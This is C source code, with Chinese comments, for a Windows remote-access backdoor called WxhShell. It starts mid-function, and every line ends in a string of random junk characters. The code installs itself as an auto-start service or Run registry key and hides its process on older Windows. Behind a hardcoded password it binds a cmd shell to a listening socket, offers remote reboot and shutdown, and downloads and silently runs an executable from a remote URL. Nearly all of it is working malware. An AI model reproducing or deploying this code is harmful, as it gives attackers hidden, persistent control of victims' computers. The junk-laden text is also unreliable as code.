    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z91gAy^z<  
    if(Boot(SHUTDOWN)) FM9b0qE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +AyQ4Q(-o  
    else { xMg&>}5  
    closesocket(wsh); MnFem $ @  
    ExitThread(0); b0LjNO@<  
    } OB3AZH$  
    break; 4s*P5w_'/  
    } Mr:*l`b_  
  // 获取shell lj%8(Xu  
  case 's': { `(aU_r=  
    CmdShell(wsh); 4,f[D9|:  
    closesocket(wsh); 9.e?<u*-z  
    ExitThread(0); n]4)~ZIAU  
    break; heZ)+}U~  
  } P&| =  
  // 退出 `u:U{m  
  case 'x': { fT._Os?i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,IuO;UV#)  
    CloseIt(wsh); YkPz ~;  
    break; Y'/`?CK  
    } .^#{rk  
  // 离开 [.<nt:  
  case 'q': { $Z 10Zf=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `6j?2plZ  
    closesocket(wsh); 3f's>+,#%  
    WSACleanup(); /@FB;`'  
    exit(1); ]Ke|wRQD  
    break; k}>l+_*+7  
        } )ACa0V>*p  
  } vJ GxD\h  
  } v Xio1hu  
z1!ya#,$  
  // 提示信息 m|~,#d@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cv:nlq)  
} 3~I<f ^K4  
  } e^~t52]  
9YHSL[  
  return; SfJ/(q  
} k;zb q  
0x# 6L  
// shell模块句柄 b9|F>3?r>  
int CmdShell(SOCKET sock) ^1,]?F^  
{ l=9 &  
STARTUPINFO si; !dhZs?/UI  
ZeroMemory(&si,sizeof(si)); 9 K$F.{cx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *-+~H1tP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pzU">)  
PROCESS_INFORMATION ProcessInfo; .j88=t0  
char cmdline[]="cmd"; 9ciL<'H\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TOMvJ>bF  
  return 0; g/z9bOgIX  
} e/;Ui  
Kox~k?JK  
// 自身启动模式 Zpb3>0<R  
int StartFromService(void) m)_1->K  
{ /UyW&]nK  
typedef struct w0/W=!_  
{ l$m^{6IYc  
  DWORD ExitStatus; Bo%M-Gmu  
  DWORD PebBaseAddress; G&C)`};  
  DWORD AffinityMask; ?2EzNNcS  
  DWORD BasePriority; GU&XK7L  
  ULONG UniqueProcessId; U\VwJ2 {i  
  ULONG InheritedFromUniqueProcessId; ie.cTTOI  
}   PROCESS_BASIC_INFORMATION; gK)B3dH*&  
tY# F8a&  
PROCNTQSIP NtQueryInformationProcess; MiRH i<g0  
73}k[e7e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /Z2*>7HM8[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w5n>hz_5  
nj7Ri=lyS  
  HANDLE             hProcess; Z/-%Eb]L1  
  PROCESS_BASIC_INFORMATION pbi; \ vJ*3H6  
vy|}\%*r~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bl`e+&b  
  if(NULL == hInst ) return 0; 6w1:3~a  
Kyl(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dje3&a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )0}obPp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {7/6~\'/@  
b:O4d<+%  
  if (!NtQueryInformationProcess) return 0; <Isr  
y Fp1@*ef  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ds}6{']K  
  if(!hProcess) return 0; Wnf`Rf)1z  
+'#d*r91@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3^ Z tIZ  
tQ&#FFt,)  
  CloseHandle(hProcess); uDoSe^0  
7gQt k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r1?LKoJOn  
if(hProcess==NULL) return 0; A{+ZXu}  
-;~_]t^a  
HMODULE hMod; wkm SIN:  
char procName[255]; ^E:;8h4$9  
unsigned long cbNeeded; .!6ufaf$  
T3?kabbF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;F0A\5I  
.FMF0r>l  
  CloseHandle(hProcess); D1g1"^~g  
/ TJTu_#  
if(strstr(procName,"services")) return 1; // 以服务启动 \'p7,F{:>5  
;N1FP*  
  return 0; // 注册表启动 k2+Z7#2n  
} }<Me%`x"  
m",bfZ  
// 主模块 ?5GjH~  
int StartWxhshell(LPSTR lpCmdLine) *@BBlkcx  
{ *v5y]E%aW  
  SOCKET wsl; a9qZI  
BOOL val=TRUE; 'Gt`3qG  
  int port=0; %##9.Xm6l  
  struct sockaddr_in door; cxv) LOl-  
Hd2_Cg FB  
  if(wscfg.ws_autoins) Install(); s~63JDy"E  
5rcno.~QO  
port=atoi(lpCmdLine); 92tb`'  
[R:O'AP}@}  
if(port<=0) port=wscfg.ws_port; _9gn;F  
 C3<3  
  WSADATA data; [X=eCHB?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^|\?vA  
&WRoNc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?<}qx`+%Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .ZJh-cd  
  door.sin_family = AF_INET; e| l?NXRX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2'}2r ~6  
  door.sin_port = htons(port); hs*:!&E  
{Y/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D@ lJ^+  
closesocket(wsl); z"H%Y 8  
return 1; SMy&K[hJ[  
} d)AkA\neWo  
w'e enIX^^  
  if(listen(wsl,2) == INVALID_SOCKET) { QMsnfG  
closesocket(wsl); EPg?jKZava  
return 1; #nxx\,i>  
} u4nXK <KL|  
  Wxhshell(wsl); xAO ]u[J  
  WSACleanup(); h7w<.zwu t  
Bl1I "B  
return 0; ]fc:CR  
q>X:z0H  
} tsa6: D  
|% kK?!e+-  
// 以NT服务方式启动 )- \w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Umd!j,  
{ S:j0&*  
DWORD   status = 0; *Xo f;)Z^  
  DWORD   specificError = 0xfffffff; ";xEuX  
b$ eJH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; IpP0|:}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d^Wh-U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; bpILiC  
  serviceStatus.dwWin32ExitCode     = 0; (Zn\S*_@/  
  serviceStatus.dwServiceSpecificExitCode = 0; %2+]3h>g  
  serviceStatus.dwCheckPoint       = 0; @rF\6I  
  serviceStatus.dwWaitHint       = 0; u`~{:V  
GhT7:_r~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); th<]L<BP/  
  if (hServiceStatusHandle==0) return; CNz[@6-cYU  
!(~>-;A8  
status = GetLastError(); 3$b(iI< "  
  if (status!=NO_ERROR) :tgTYIF  
{ D0P% .r"v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9%wppNT/  
    serviceStatus.dwCheckPoint       = 0; ",+uvJT1O  
    serviceStatus.dwWaitHint       = 0; 93dotuF  
    serviceStatus.dwWin32ExitCode     = status; S .jjB  
    serviceStatus.dwServiceSpecificExitCode = specificError; !< )_ F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IY:O?M  
    return; ;0 *^98K  
  } !RD,:\5V  
D^~g q`/)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IO'Q}bU4vs  
  serviceStatus.dwCheckPoint       = 0; ^`7t@G$ D  
  serviceStatus.dwWaitHint       = 0; t<7WM'2<y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7 AiCQWf9  
} V Y3{1Dlf  
Yp)U'8{h c  
// 处理NT服务事件,比如:启动、停止 w~&]gyf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K6U>Qums  
{ {Vm36/a  
switch(fdwControl) mI0r,Z*+M  
{ MD)"r>k  
case SERVICE_CONTROL_STOP: 8G P}g?%  
  serviceStatus.dwWin32ExitCode = 0; ( A)wcB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *J=ol  
  serviceStatus.dwCheckPoint   = 0; 1`t?5|s>  
  serviceStatus.dwWaitHint     = 0; 85 hYYB0v  
  { jJvNN -^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y P c<  
  } <7^~r(DP  
  return; rZv+K/6*M  
case SERVICE_CONTROL_PAUSE: yDC97#%3u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,Ai i>D]  
  break; Uk9g^\H<D  
case SERVICE_CONTROL_CONTINUE: GP$ Y4*y/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B,>FhX>h  
  break; -Tx tX8v  
case SERVICE_CONTROL_INTERROGATE: ^4[[+r  
  break; %np#Bv-L  
}; "Zk6B"o)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); av?BpN"l  
} a:}"\>Aj  
)'~FDw\6  
// 标准应用程序主函数 ~'MWtDe:Z8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .B13)$C  
{ `[CJtd2\  
clw91yrQn  
// 获取操作系统版本 <T[N.mB  
OsIsNt=GetOsVer(); *F*X_O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t] wM_]+  
m-RY{DO+  
  // 从命令行安装 y7OG[L/  
  if(strpbrk(lpCmdLine,"iI")) Install(); &*aU2{,s,;  
T6$<o\g'  
  // 下载执行文件 ntV >m*^  
if(wscfg.ws_downexe) { NO^t/(Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J"rwWIxO*  
  WinExec(wscfg.ws_filenam,SW_HIDE);  uN 62>  
} ?<'W~Rm6n  
% eRwH >  
if(!OsIsNt) { 29^bMau)v  
// 如果时win9x,隐藏进程并且设置为注册表启动 3L?a4,Q"k}  
HideProc(); b<AE}UK  
StartWxhshell(lpCmdLine); Ba0D"2CgY  
} y Xx62J  
else e,&%Z  
  if(StartFromService()) bOMP8{H,  
  // 以服务方式启动 sjgR \`AU  
  StartServiceCtrlDispatcher(DispatchTable); 0 0&$SE  
else R+0"B  
  // 普通方式启动 |:+pPh!-  
  StartWxhshell(lpCmdLine); i(;-n_:, `  
G3+a+=e  
return 0; r5!M;hU1j  
} rVy\,#|  
*hs<Ez.cC  
q&Wwt qc9  
!h>$bm  
=========================================== p,\bez  
{K4t8T]  
j#P4Le[t  
tcEf ~|3  
lO> 7`2x=F  
YBIe'(p  
" MIF[u:&  
Az9J{)  
#include <stdio.h> [; ?{BB  
#include <string.h> )]> '7] i  
#include <windows.h> b^DV9mO4J  
#include <winsock2.h> 8'"/gC{  
#include <winsvc.h> }#>d2 =T$  
#include <urlmon.h> n "KJB  
 _np>({  
#pragma comment (lib, "Ws2_32.lib") Uv`v|S:+2  
#pragma comment (lib, "urlmon.lib") h_G|.7!  
9~'Ip7X,!  
#define MAX_USER   100 // 最大客户端连接数 MVP)rugU  
#define BUF_SOCK   200 // sock buffer "Vp: z V<S  
#define KEY_BUFF   255 // 输入 buffer -!G#")<  
9c}]:3#XO  
#define REBOOT     0   // 重启 ?>jArzI  
#define SHUTDOWN   1   // 关机 5z w23!  
)|R0_9CLV  
#define DEF_PORT   5000 // 监听端口 1vK(^u[  
`Mn{bd  
#define REG_LEN     16   // 注册表键长度 OXX(OCG>  
#define SVC_LEN     80   // NT服务名长度 7TPLVa=hO  
a~>0JmM+N  
// 从dll定义API 4*XP;`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A|_%'8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [I<'E LX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MQH8Q$5D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O\F^@;] F6  
*Gh8nQbh  
// wxhshell配置信息 ajW$d!  
struct WSCFG { i^cM@?  
  int ws_port;         // 监听端口 i -s?"Fk  
  char ws_passstr[REG_LEN]; // 口令 W<N QU f[=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7K]U |K#  
  char ws_regname[REG_LEN]; // 注册表键名 D3AtYt  
  char ws_svcname[REG_LEN]; // 服务名 1\J1yOL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }:l%,DBw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5YG@[ic  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _B7?C:8Q-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UFAMbI  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hPi :31-0  
0R5^p  
}; 2td|8vDA  
-kri3?Y,  
// default Wxhshell configuration X.AWs=:-  
struct WSCFG wscfg={DEF_PORT, 'j<:FUDJ  
    "xuhuanlingzhe", [(P[qEY  
    1, <\9Ijuq}k  
    "Wxhshell", \ NSw<.  
    "Wxhshell", ~v(M6dz~vk  
            "WxhShell Service", 3g#=sd!0O@  
    "Wrsky Windows CmdShell Service", '"fU2M<.  
    "Please Input Your Password: ", \ [^) WQ  
  1, 0CVsDVA  
  "http://www.wrsky.com/wxhshell.exe", \%?8jQ'tX  
  "Wxhshell.exe" 7- 3N  
    }; ocA'goI-  
I1 R\Ts@  
// 消息定义模块 @1SKgbt>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 031.u<_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I%Po/+|+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b}?@syy8  
char *msg_ws_ext="\n\rExit."; {{[jC"4AY  
char *msg_ws_end="\n\rQuit."; MV;Y?%>  
char *msg_ws_boot="\n\rReboot..."; ~iR!3+yg4  
char *msg_ws_poff="\n\rShutdown..."; si!9Gz;  
char *msg_ws_down="\n\rSave to "; Rw ao5l=x  
>&Ui*  
char *msg_ws_err="\n\rErr!"; -}qGb}F8!  
char *msg_ws_ok="\n\rOK!"; bR8 HGH28  
s8yTK2v2\  
char ExeFile[MAX_PATH]; PxVI {:Uz  
int nUser = 0; 6v2RS  
HANDLE handles[MAX_USER]; 3{I=#>;  
int OsIsNt; #9hXZr/8  
x [{q&N!"`  
SERVICE_STATUS       serviceStatus; vu'!-K=0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mLk6!&zN  
XAULD]Q  
// 函数声明 lF}$`6  
int Install(void); i h$@:^\  
int Uninstall(void); Aiks>Cyi23  
int DownloadFile(char *sURL, SOCKET wsh); ~ut& U  
int Boot(int flag); ug6f   
void HideProc(void); xlPcg7  
int GetOsVer(void); K.iH  
int Wxhshell(SOCKET wsl); Yr"!&\[oz  
void TalkWithClient(void *cs); .M53, 8X  
int CmdShell(SOCKET sock); &b@!DAwAJ  
int StartFromService(void); 9p\wTzA  
int StartWxhshell(LPSTR lpCmdLine); 1nlE3Y?AV  
{7![3`%7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {?>bblw/d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AR+\uD=\I-  
s?G'l=CcKu  
// 数据结构和表定义 jQ_|z@OV  
SERVICE_TABLE_ENTRY DispatchTable[] = 5nxS+`Pn.)  
{ N9JgV,`  
{wscfg.ws_svcname, NTServiceMain}, M8",t{7  
{NULL, NULL} 8NAWA3^B  
}; XC/]u%n8](  
?;r8SowZ7  
// 自我安装 X.T\=dm%v  
int Install(void) =6Kv`  
{ %M;_(jda  
  char svExeFile[MAX_PATH]; rMXOwkE  
  HKEY key; /!{A=N  
  strcpy(svExeFile,ExeFile); x,w`OMQ}c  
=FD`A#\C~  
// 如果是win9x系统,修改注册表设为自启动 ReB(T7Vk=  
if(!OsIsNt) { 4Fr7jD,#k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q&.IlVB[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iQm.]A  
  RegCloseKey(key); RLu$$Eb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j_6`s!Yw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LE0J ;|1  
  RegCloseKey(key); ~g K-5}%!  
  return 0; 7k`*u) Q  
    } u .pKK  
  } AK~`pq[.  
} ~*PK080N}  
else { K5)yM @cq  
.cH{WZ  
// 如果是NT以上系统,安装为系统服务 kuTq8p2E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GEe 0@q#YA  
if (schSCManager!=0) m_E[bDON  
{ ,3J`ftCV  
  SC_HANDLE schService = CreateService R!_8jD:$  
  ( 0x>/6 <<  
  schSCManager, L&DF,fWsF&  
  wscfg.ws_svcname, G1?0Q_RN  
  wscfg.ws_svcdisp, I4o =6ts  
  SERVICE_ALL_ACCESS, ,>QMyI hv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N)vk0IM!  
  SERVICE_AUTO_START, }o!#_N0T  
  SERVICE_ERROR_NORMAL, Xew1LPI  
  svExeFile, StdS$XW  
  NULL, XYK1-m}2  
  NULL, A'~%_}  
  NULL, MR?*GI's  
  NULL, OZ>)sL  
  NULL u6iU[5  
  ); t> x-1vf%  
  if (schService!=0) =$)4:  
  { 6=G~6Qu  
  CloseServiceHandle(schService); ##EB; Y  
  CloseServiceHandle(schSCManager); v ]/OAH6D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nL":0!DTRD  
  strcat(svExeFile,wscfg.ws_svcname); !y qa?\v9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R%Ui6dCLo  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `FzYvd"N  
  RegCloseKey(key); \ifK~?  
  return 0; FUyB"-<  
    } s.R-<Y 3  
  } 68koQgI[^  
  CloseServiceHandle(schSCManager); ( K6~Tj  
} `x{.z=xC  
} wDT>">&d  
N"Qg\PS_  
return 1; tT@w%Sz57N  
} Yo~LckFF  
"wnpiB}  
// 自我卸载 ;t;Y.*&=S  
int Uninstall(void) ? fbgU  
{ @pF fpHq?>  
  HKEY key; ZR;8r Z](  
M#\  <  
if(!OsIsNt) { E[|s>Xv~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]a @A8o0  
  RegDeleteValue(key,wscfg.ws_regname);  k#axt Sc  
  RegCloseKey(key); nabBU4;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 99l>CYXd  
  RegDeleteValue(key,wscfg.ws_regname); /~3N@J  
  RegCloseKey(key); y*VQ]aJ  
  return 0; F`Dg*O  
  } ]^J+-c  
} v`#j  
} KGV.S  
else { !US8aT  
c;:">NR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w(76H^e  
if (schSCManager!=0) ID67?:%r  
{ /9x{^  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g$*/ XSr(  
  if (schService!=0) _ztZ> '  
  { ,op]-CY 5  
  if(DeleteService(schService)!=0) { g>2aIun_Q  
  CloseServiceHandle(schService);  0dgP  
  CloseServiceHandle(schSCManager); hp bwZ  
  return 0; (C8 U   
  } doP$N3Zm  
  CloseServiceHandle(schService); s? QVX~S"  
  }  \#4m@  
  CloseServiceHandle(schSCManager); ?M*7@t@  
} [[:UhrH-  
} r4O|()  
J>rka]*  
return 1;  9R9__w;  
} Y3#Nux%  
L'zE<3O'3  
// 从指定url下载文件 uije#cj#O  
int DownloadFile(char *sURL, SOCKET wsh) y[: ~CL  
{ a}:A,t<6  
  HRESULT hr; v8ba~  
char seps[]= "/"; 2 ;JQX!  
char *token; Vy-28icZ`  
char *file; QBy{| sQ`  
char myURL[MAX_PATH]; R/^@cA  
char myFILE[MAX_PATH]; e]lJqC  
' |&>/dyq  
strcpy(myURL,sURL); ,i?)  
  token=strtok(myURL,seps); #SKfE  
  while(token!=NULL) Og,Y)a;=  
  { K&=D-50%  
    file=token; PJzc=XPU  
  token=strtok(NULL,seps); ^_v[QV  
  } AY#wVy  
b2N6L2~V  
GetCurrentDirectory(MAX_PATH,myFILE); 6X/wd k  
strcat(myFILE, "\\"); yL0f1nS  
strcat(myFILE, file); f|OI`  
  send(wsh,myFILE,strlen(myFILE),0); Vclr)}5  
send(wsh,"...",3,0); KQ&Y2l1*>>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \ht ?G n  
  if(hr==S_OK) otO j^xU  
return 0; qAoAUD m  
else 'T\dkSJv;V  
return 1; )2xE z  
vxZg &SRK  
} > 2#%$lX6  
n-DaX kK  
// 系统电源模块 RctU'T  
int Boot(int flag) eP"`,<  
{ XAe\s`  
  HANDLE hToken; l^\(ss0~  
  TOKEN_PRIVILEGES tkp; U4BqO :sd  
bmu6@jT  
  if(OsIsNt) { "e 1wr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *h$&0w y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cJCU*(7&  
    tkp.PrivilegeCount = 1; k<H%vg>{~s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ( #* "c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !xu9+{-  
if(flag==REBOOT) { cFK @3a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) av-#)E  
  return 0; h4_ b!E@  
} [)^mBVht  
else { GF8 -_X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) we3tx{j  
  return 0; hq=,Z1J  
} #ly@;!M  
  } zJ+3g!  
  else { mzWP8Hlw  
if(flag==REBOOT) { l _+6=u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N2BI_,hI1  
  return 0; Z|G/^DK!  
} Us,)]W.S  
else { t2- ^-g6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  FZ F @  
  return 0; [#Y' dFQ  
} RT^v:paNT2  
} ^"9* 'vTtc  
!;S"&mcPDJ  
return 1; .[?BlIlm  
} R_^/,^1  
qz!Ph5 (  
// win9x进程隐藏模块 ]dSK wxk  
void HideProc(void) p~&BChBl!=  
{ SRZL\m}  
5u r)uz]w8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UZGDdP  
  if ( hKernel != NULL ) ]ab#q=  
  { XM/vDdR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Tkw;pb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lT'9u,6   
    FreeLibrary(hKernel); |Y},V_@d  
  } sYqgXE.  
*FK`&(B+}  
return; 0w %[  
} j(eFoZz,  
DVlJ*A  
// 获取操作系统版本 &fwS{n;U  
int GetOsVer(void) g JjN<&,  
{ er2cQS7R  
  OSVERSIONINFO winfo; x&Cp> +i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ; Y"N6%  
  GetVersionEx(&winfo); 2#vv$YD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =wG+Ao  
  return 1; <P_ea/5:|  
  else 9XLFHV("  
  return 0; S|em[D[Y^  
} /*$hx@ih  
fuUm}N7  
// 客户端句柄模块 ujr(K=E  
int Wxhshell(SOCKET wsl) Y ya`&V  
{ A(8n  
  SOCKET wsh; JBC$Ku  
  struct sockaddr_in client; =WG=C1Z  
  DWORD myID; EHn"n"Y  
I7n3xN&4"  
  while(nUser<MAX_USER) krB'9r<wa`  
{ ~6aCfbu%V  
  int nSize=sizeof(client); c+kU o$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LOvHkk@+  
  if(wsh==INVALID_SOCKET) return 1; + H_WlYg-  
+*}{`L- :  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wht(O~F  
if(handles[nUser]==0) ]]0,|My7  
  closesocket(wsh); 6G AaV[])'  
else n6MM5h/#r  
  nUser++; `_vB+a  
  } V0*3;n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c~=B0K-  
=JS;;PzX[  
  return 0; y "w|g~x]c  
} pZ(Fx&fy  
+nL+ N  
// 关闭 socket D)@XoM(  
void CloseIt(SOCKET wsh)  k5`OH8G  
{ j(rL  
closesocket(wsh); '?QuJFki  
nUser--; @+LfQY  
ExitThread(0); F_;DN: {  
} | ?yo 3  
&a,OfSz  
// 客户端请求句柄 5 2_#  
void TalkWithClient(void *cs) a4 MZ;5  
{ 0aI;\D*Ts  
/) 4GSC}Gg  
  SOCKET wsh=(SOCKET)cs; Wg`AZ=t  
  char pwd[SVC_LEN]; o>Er_r  
  char cmd[KEY_BUFF]; 6w[}&pX"z  
char chr[1]; }8-\A7T  
int i,j; ? "/ fPV-  
nH|,T%  
  while (nUser < MAX_USER) { k S# CEU7  
)B# ,  
if(wscfg.ws_passstr) { h#r^teui)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \2 y5_;O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kq=V4-a[  
  //ZeroMemory(pwd,KEY_BUFF); FQz?3w&ia  
      i=0; a:, y Z  
  while(i<SVC_LEN) { ;`YkMS`=W  
<A5]]{9 +  
  // 设置超时 |RkcDrB~  
  fd_set FdRead; Q/ms]Du  
  struct timeval TimeOut; N6OMY P1  
  FD_ZERO(&FdRead); /93l74.w  
  FD_SET(wsh,&FdRead); wC_l@7 t  
  TimeOut.tv_sec=8; epHJ@W@#  
  TimeOut.tv_usec=0; ulFzZHJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wXMDh$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $~0Q@):  
WE6a'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B/JO~;{  
  pwd=chr[0]; >LC<O.  
  if(chr[0]==0xd || chr[0]==0xa) { xo}b= v  
  pwd=0; D]a:@x`+Bz  
  break; wxg^Bq)D*R  
  } dy__e^qi  
  i++; rl#vE's6.e  
    } / $  :j  
)4>2IQ  
  // 如果是非法用户,关闭 socket J7D}%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f3j{VN  
} "gtHTqheH  
[H<bh%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O,bkQY$v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .nu @ o40  
M->*{D@a  
while(1) { VV4Gjc  
%3q0(Xl  
  ZeroMemory(cmd,KEY_BUFF); acP+3u?r  
aprm0:Q^  
      // 自动支持客户端 telnet标准   Zn=T#o  
  j=0; kE8>dmH23  
  while(j<KEY_BUFF) { \!vN   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gWABY%!}  
  cmd[j]=chr[0]; v~3B:k:?l  
  if(chr[0]==0xa || chr[0]==0xd) { 3f " %G\  
  cmd[j]=0; v2r&('pV  
  break; UJfT!==U  
  } >d"3<S ; b  
  j++; n\Fp[9+Z\  
    } 7!,YNy%  
Aa0b6?Jm  
  // 下载文件 wbDM5%  
  if(strstr(cmd,"http://")) { FLg*R/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z/x*Y#0@n  
  if(DownloadFile(cmd,wsh)) f<=Fsl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;*ix~taL%  
  else '7wd$rl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g4`Kp; }&'  
  } Pq*s{  
  else { V.ht, ~l  
@`tXKP$so  
